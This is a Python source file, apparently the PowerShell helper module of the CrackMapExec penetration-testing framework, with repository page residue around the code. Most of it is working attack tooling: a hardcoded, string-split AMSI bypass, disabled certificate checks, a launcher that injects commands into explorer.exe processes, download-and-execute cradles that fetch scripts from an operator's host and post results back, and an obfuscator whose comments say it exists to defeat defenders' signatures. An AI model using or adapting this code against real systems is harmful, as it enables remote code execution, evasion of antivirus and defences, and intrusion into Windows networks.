399 lines
20 KiB
Python
399 lines
20 KiB
Python
import cme
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import os
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import logging
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import re
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import tempfile
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from sys import exit
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from string import ascii_lowercase
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from random import choice, randrange, sample
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from subprocess import check_output, call
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from cme.helpers.misc import gen_random_string, which
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from cme.logger import CMEAdapter
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from base64 import b64encode
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logger = CMEAdapter()
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obfuscate_ps_scripts = False
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def get_ps_script(path):
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return os.path.join(os.path.dirname(cme.__file__), 'data', path)
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def encode_ps_command(command):
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return b64encode(command.encode('UTF-16LE')).decode()
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def is_powershell_installed():
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if which('powershell'):
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return True
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return False
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def obfs_ps_script(path_to_script):
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ps_script = path_to_script.split('/')[-1]
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obfs_script_dir = os.path.join(os.path.expanduser('~/.cme'), 'obfuscated_scripts')
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obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
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if is_powershell_installed() and obfuscate_ps_scripts:
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if os.path.exists(obfs_ps_script):
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logger.info('Using cached obfuscated Powershell script')
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with open(obfs_ps_script, 'r') as script:
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return script.read()
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logger.info('Performing one-time script obfuscation, go look at some memes cause this can take a bit...')
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invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "TOKEN,ALL,1,OUT {}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
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get_ps_script(path_to_script),
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obfs_ps_script)
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logging.debug(invoke_obfs_command)
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with open(os.devnull, 'w') as devnull:
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return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
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logger.success('Script obfuscated successfully')
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with open(obfs_ps_script, 'r') as script:
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return script.read()
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else:
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with open(get_ps_script(path_to_script), 'r') as script:
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"""
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Strip block comments, line comments, empty lines, verbose statements,
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and debug statements from a PowerShell source file.
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"""
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# strip block comments
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strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script.read())
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# strip blank lines, lines starting with #, and verbose/debug statements
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strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
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return strippedCode
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def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
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if custom_amsi:
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with open(custom_amsi) as file_in:
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lines = []
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for line in file_in:
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lines.append(line)
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amsi_bypass = ''.join(lines)
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else:
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amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
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try{
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[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
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}catch{}
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"""
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if force_ps32:
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command = amsi_bypass + """
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$functions = {{
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function Command-ToExecute
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{{
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{command}
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}}
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}}
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if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
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{{
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$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32
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$job | Wait-Job
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}}
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else
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{{
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IEX "$functions"
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Command-ToExecute
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}}
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""".format(command=amsi_bypass + ps_command)
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else:
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command = amsi_bypass + ps_command
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logging.debug('Generated PS command:\n {}\n'.format(command))
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# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed concurrently
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# it would spawn a local powershell process per host which isn't ideal, until I figure out a good way of dealing with this
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# it will use the partial python implementation that I stole from GreatSCT (https://github.com/GreatSCT/GreatSCT) <3
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"""
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if is_powershell_installed():
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temp = tempfile.NamedTemporaryFile(prefix='cme_',
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suffix='.ps1',
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dir='/tmp')
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temp.write(command)
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temp.read()
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encoding_types = [1,2,3,4,5,6]
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while True:
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encoding = random.choice(encoding_types)
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invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
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temp.name,
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encoding)
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logging.debug(invoke_obfs_command)
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out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
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command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
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logging.debug('Command length: {}'.format(len(command)))
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if len(command) <= 8192:
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temp.close()
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break
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encoding_types.remove(encoding)
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else:
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"""
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if not dont_obfs:
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obfs_attempts = 0
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while True:
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command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "' + invoke_obfuscation(command) + '"'
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if len(command) <= 8191:
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break
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if obfs_attempts == 4:
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logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command)))
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exit(1)
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obfs_attempts += 1
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else:
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command = 'powershell.exe -noni -nop -w 1 -enc {}'.format(encode_ps_command(command))
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if len(command) > 8191:
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logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command)))
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exit(1)
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return command
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def gen_ps_inject(command, context=None, procname='explorer.exe', inject_once=False):
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#The following code gives us some control over where and how Invoke-PSInject does its thang
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#It prioritizes injecting into a process of the active console session
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ps_code = '''
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$injected = $False
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$inject_once = {inject_once}
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$command = "{command}"
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$owners = @{{}}
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$console_login = gwmi win32_computersystem | select -exp Username
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gwmi win32_process | where {{$_.Name.ToLower() -eq '{procname}'.ToLower()}} | % {{
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if ($_.getowner().domain -and $_.getowner().user){{
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$owners[$_.getowner().domain + "\\" + $_.getowner().user] = $_.handle
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}}
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}}
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try {{
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if ($owners.ContainsKey($console_login)){{
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Invoke-PSInject -ProcId $owners.Get_Item($console_login) -PoshCode $command
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$injected = $True
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$owners.Remove($console_login)
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}}
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}}
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catch {{}}
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if (($injected -eq $False) -or ($inject_once -eq $False)){{
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foreach ($owner in $owners.Values) {{
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try {{
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Invoke-PSInject -ProcId $owner -PoshCode $command
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}}
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catch {{}}
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}}
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}}
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'''.format(inject_once='$True' if inject_once else '$False',
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command=encode_ps_command(command), procname=procname)
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if context:
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return gen_ps_iex_cradle(context, 'Invoke-PSInject.ps1', ps_code, post_back=False)
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return ps_code
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def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):
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if type(scripts) is str:
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launcher = """
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[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
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[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
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IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name}')
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{command}
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""".format(server=context.server,
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port=context.server_port,
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addr=context.localip,
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ps_script_name=scripts,
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command=command if post_back is False else '').strip()
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elif type(scripts) is list:
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launcher = '[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n'
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launcher +="[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
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for script in scripts:
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launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(server=context.server,
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port=context.server_port,
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addr=context.localip,
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script=script)
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launcher.strip()
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launcher += command if post_back is False else ''
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if post_back is True:
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launcher += '''
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$cmd = {command}
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$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/')
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$request.Method = 'POST'
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$request.ContentType = 'application/x-www-form-urlencoded'
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$bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd)
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$request.ContentLength = $bytes.Length
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$requestStream = $request.GetRequestStream()
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$requestStream.Write($bytes, 0, $bytes.Length)
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$requestStream.Close()
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$request.GetResponse()'''.format(server=context.server,
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port=context.server_port,
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addr=context.localip,
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command=command)
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#second_cmd= second_cmd if second_cmd else '')
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logging.debug('Generated PS IEX Launcher:\n {}\n'.format(launcher))
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return launcher.strip()
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# Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
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def invoke_obfuscation(scriptString):
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# Add letters a-z with random case to $RandomDelimiters.
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alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase)
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# Create list of random dxelimiters called randomDelimiters.
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# Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax.
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randomDelimiters = ['_','-',',','{','}','~','!','@','%','&','<','>',';',':']
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for i in alphabet:
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randomDelimiters.append(i)
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# Only use a subset of current delimiters to randomize what you see in every iteration of this script's output.
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randomDelimiters = [choice(randomDelimiters) for _ in range(int(len(randomDelimiters)/4))]
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# Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters.
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delimitedEncodedArray = ''
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for char in scriptString:
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delimitedEncodedArray += str(ord(char)) + choice(randomDelimiters)
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# Remove trailing delimiter from $DelimitedEncodedArray.
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delimitedEncodedArray = delimitedEncodedArray[:-1]
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# Create printable version of $RandomDelimiters in random order to be used by final command.
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test = sample(randomDelimiters, len(randomDelimiters))
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randomDelimitersToPrint = ''.join(i for i in test)
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# Generate random case versions for necessary operations.
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forEachObject = choice(['ForEach','ForEach-Object','%'])
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strJoin = ''.join(choice([i.upper(), i.lower()]) for i in '[String]::Join')
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strStr = ''.join(choice([i.upper(), i.lower()]) for i in '[String]')
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join = ''.join(choice([i.upper(), i.lower()]) for i in '-Join')
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charStr = ''.join(choice([i.upper(), i.lower()]) for i in 'Char')
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integer = ''.join(choice([i.upper(), i.lower()]) for i in 'Int')
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forEachObject = ''.join(choice([i.upper(), i.lower()]) for i in forEachObject)
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# Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax.
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randomDelimitersToPrintForDashSplit = ''
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for delim in randomDelimiters:
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# Random case 'split' string.
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split = ''.join(choice([i.upper(), i.lower()]) for i in 'Split')
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randomDelimitersToPrintForDashSplit += '-' + split + choice(['', ' ']) + '\'' + delim + '\'' + choice(['', ' '])
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randomDelimitersToPrintForDashSplit = randomDelimitersToPrintForDashSplit.strip('\t\n\r')
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# Randomly select between various conversion syntax options.
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randomConversionSyntax = []
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randomConversionSyntax.append('[' + charStr + ']' + choice(['', ' ']) + '[' + integer + ']' + choice(['', ' ']) + '$_')
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randomConversionSyntax.append('[' + integer + ']' + choice(['', ' ']) + '$_' + choice(['', ' ']) + choice(['-as', '-As', '-aS', '-AS']) + choice(['', ' ']) + '[' + charStr + ']')
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randomConversionSyntax = choice(randomConversionSyntax)
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# Create array syntax for encoded scriptString as alternative to .Split/-Split syntax.
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encodedArray = ''
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for char in scriptString:
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encodedArray += str(ord(char)) + choice(['', ' ']) + ',' + choice(['', ' '])
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# Remove trailing comma from encodedArray
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encodedArray = '(' + choice(['', ' ']) + encodedArray.rstrip().rstrip(',') + ')'
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# Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable).
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# Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists.
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# If the OFS variable did exists then we could use even more syntax: $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls
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# For more info: https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables
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setOfsVarSyntax = []
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setOfsVarSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" + choice([' '*1, ' '*2]) + "''")
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setOfsVarSyntax.append(choice(['Set-Variable', 'SV', 'SET']) + choice([' '*1, ' '*2]) + "'OFS'" + choice([' '*1, ' '*2]) + "''")
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setOfsVar = choice(setOfsVarSyntax)
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setOfsVarBackSyntax = []
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setOfsVarBackSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" + choice([' '*1, ' '*2]) + "' '")
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setOfsVarBackSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" + choice([' '*1, ' '*2]) + "' '")
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setOfsVarBack = choice(setOfsVarBackSyntax)
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# Randomize case of $SetOfsVar and $SetOfsVarBack.
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setOfsVar = ''.join(choice([i.upper(), i.lower()]) for i in setOfsVar)
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setOfsVarBack = ''.join(choice([i.upper(), i.lower()]) for i in setOfsVarBack)
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# Generate the code that will decrypt and execute the payload and randomly select one.
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baseScriptArray = []
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baseScriptArray.append('[' + charStr + '[]' + ']' + choice(['', ' ']) + encodedArray)
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baseScriptArray.append('(' + choice(['', ' ']) + "'" + delimitedEncodedArray + "'." + split + "(" + choice(['', ' ']) + "'" + randomDelimitersToPrint + "'" + choice(['', ' ']) + ')' + choice(['', ' ']) + '|' + choice(['', ' ']) + forEachObject + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(['', ' ']) + randomConversionSyntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')')
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baseScriptArray.append('(' + choice(['', ' ']) + "'" + delimitedEncodedArray + "'" + choice(['', ' ']) + randomDelimitersToPrintForDashSplit + choice(['', ' ']) + '|' + choice(['', ' ']) + forEachObject + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(['', ' ']) + randomConversionSyntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')')
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baseScriptArray.append('(' + choice(['', ' ']) + encodedArray + choice(['', ' ']) + '|' + choice(['', ' ']) + forEachObject + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(['', ' ']) + randomConversionSyntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')')
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# Generate random JOIN syntax for all above options
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newScriptArray = []
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newScriptArray.append(choice(baseScriptArray) + choice(['', ' ']) + join + choice(['', ' ']) + "''")
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newScriptArray.append(join + choice(['', ' ']) + choice(baseScriptArray))
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newScriptArray.append(strJoin + '(' + choice(['', ' ']) + "''" + choice(['', ' ']) + ',' + choice(['', ' ']) + choice(baseScriptArray) + choice(['', ' ']) + ')')
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newScriptArray.append('"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + setOfsVar + choice(['', ' ']) + ')' + choice(['', ' ']) + '"' + choice(['', ' ']) + '+' + choice(['', ' ']) + strStr + choice(baseScriptArray) + choice(['', ' ']) + '+' + '"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + setOfsVarBack + choice(['', ' ']) + ')' + choice(['', ' ']) + '"')
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# Randomly select one of the above commands.
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newScript = choice(newScriptArray)
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# Generate random invoke operation syntax.
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# Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoding function so that this will remain a standalone script without dependencies.
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invokeExpressionSyntax = []
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invokeExpressionSyntax.append(choice(['IEX', 'Invoke-Expression']))
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# Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &.
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# Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver bullet.
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# These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc.
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invocationOperator = choice(['.','&']) + choice(['', ' '])
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invokeExpressionSyntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
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invokeExpressionSyntax.append(invocationOperator + "( $PSHome[" + choice(['4', '21']) + "]+$PSHOME[" + choice(['30', '34']) + "]+'x')")
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invokeExpressionSyntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")
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invokeExpressionSyntax.append(invocationOperator + "( $env:ComSpec[4," + choice(['15', '24', '26']) + ",25]-Join'')")
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invokeExpressionSyntax.append(invocationOperator + "((" + choice(['Get-Variable','GV','Variable']) + " '*mdr*').Name[3,11,2]-Join'')")
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invokeExpressionSyntax.append(invocationOperator + "( " + choice(['$VerbosePreference.ToString()','([String]$VerbosePreference)']) + "[1,3]+'x'-Join'')")
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# Randomly choose from above invoke operation syntaxes.
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invokeExpression = choice(invokeExpressionSyntax)
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# Randomize the case of selected invoke operation.
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invokeExpression = ''.join(choice([i.upper(), i.lower()]) for i in invokeExpression)
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# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
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invokeOptions = []
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invokeOptions.append(choice(['', ' ']) + invokeExpression + choice(['', ' ']) + '(' + choice(['', ' ']) + newScript + choice(['', ' ']) + ')' + choice(['', ' ']))
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invokeOptions.append(choice(['', ' ']) + newScript + choice(['', ' ']) + '|' + choice(['', ' ']) + invokeExpression)
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obfuscatedPayload = choice(invokeOptions)
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"""
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# Array to store all selected PowerShell execution flags.
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powerShellFlags = []
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noProfile = '-nop'
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nonInteractive = '-noni'
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windowStyle = '-w'
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# Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
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# This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
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commandlineOptions = []
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commandlineOptions.append(noProfile[0:randrange(4, len(noProfile) + 1, 1)])
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commandlineOptions.append(nonInteractive[0:randrange(5, len(nonInteractive) + 1, 1)])
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# Randomly decide to write WindowStyle value with flag substring or integer value.
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commandlineOptions.append(''.join(windowStyle[0:randrange(2, len(windowStyle) + 1, 1)] + choice([' '*1, ' '*2, ' '*3]) + choice(['1','h','hi','hid','hidd','hidde'])))
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|
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# Randomize the case of all command-line arguments.
|
|
for count, option in enumerate(commandlineOptions):
|
|
commandlineOptions[count] = ''.join(choice([i.upper(), i.lower()]) for i in option)
|
|
|
|
for count, option in enumerate(commandlineOptions):
|
|
commandlineOptions[count] = ''.join(option)
|
|
|
|
commandlineOptions = sample(commandlineOptions, len(commandlineOptions))
|
|
commandlineOptions = ''.join(i + choice([' '*1, ' '*2, ' '*3]) for i in commandlineOptions)
|
|
|
|
obfuscatedPayload = 'powershell.exe ' + commandlineOptions + newScript
|
|
"""
|
|
|
|
return obfuscatedPayload
|